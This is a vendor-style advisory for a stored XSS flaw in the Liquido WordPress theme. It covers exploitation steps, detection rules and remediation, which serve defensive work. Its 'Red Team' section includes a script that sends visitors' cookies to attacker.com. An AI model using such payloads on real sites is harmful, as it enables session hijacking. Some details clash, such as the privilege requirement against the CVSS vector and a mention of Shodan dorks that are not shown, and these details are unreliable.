CVE-2024-43993
Executive Summary
CVE-2024-43993 is a Stored Cross-Site Scripting (XSS) vulnerability in the Liquido WordPress theme developed by CryoutCreations. The flaw exists in versions up to and including 1.0.1.2, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into posts, pages, or theme settings, which will execute in the browsers of other users (including administrators) when the malicious content is viewed. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since the patch status is unknown, users must manually monitor the vendor’s site for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this theme.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires user interaction)
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The medium severity is due to the requirement for user interaction (clicking a link or viewing a page) and the limited impact on confidentiality, integrity, and availability. However, in a WordPress context, stored XSS can lead to full site compromise if an administrator views the malicious content.
Deep Dive & Mechanics
The vulnerability resides in the Liquido theme’s handling of user-generated content, such as customizer settings, widget areas, or post/page content. The theme fails to sanitize or escape output when rendering user-supplied data, allowing an attacker to inject arbitrary HTML and JavaScript. For example, if the theme outputs a theme option value without proper escaping, an attacker with contributor access can insert a <script> tag that persists in the database and executes for every visitor.
The attack flow:
- Attacker logs in with a role that can edit theme options or create posts (e.g., Contributor, Author, Editor).
- Attacker inserts a malicious payload into a field that is not sanitized (e.g., a custom CSS field, a widget title, or a post content).
- The payload is stored in the WordPress database.
- When an administrator or other user views the affected page, the script executes in their browser.
- The script can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is shown below. A patched version would use WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable Code (example from theme template):
<?php echo get_theme_mod('liquido_custom_text'); ?>
Patched Code (hypothetical):
<?php echo esc_html(get_theme_mod('liquido_custom_text')); ?>
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Liquido theme <= 1.0.1.2
- Attacker account with at least Contributor role
Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- In the post content, insert the following payload:
<script>alert('XSS');</script> - Publish the post.
- When an administrator views the post, the script executes.
Advanced Payload (session hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for suspicious post content containing
<script>tags. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the Liquido theme until a patch is released.
- Restrict user roles to prevent contributors from editing theme options.
- Use a security plugin like Wordfence to scan for malicious content.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing
document.cookiein the request body. - Host: Presence of
<script>tags in WordPress posts, pages, or theme options. - Logs: WordPress audit logs showing posts created by low-privilege users containing JavaScript.
- File: Modified theme files (e.g.,
functions.php) with injected code.
Detection Engineering
YARA Rule
rule CVE_2024_43993_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting Liquido theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-43993"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Liquido WordPress Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts or theme options
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-43993 Stored XSS in Liquido Theme"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Liquido theme and switch to a different theme until a patch is released.
- Vendor Contact: Monitor CryoutCreations’ website or support channels for updates.
- Workaround: If disabling is not possible, use a security plugin to add Content Security Policy headers and sanitize user input.
- Long-term: Implement a Web Application Firewall (WAF) with XSS rules and enforce strict user role permissions.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.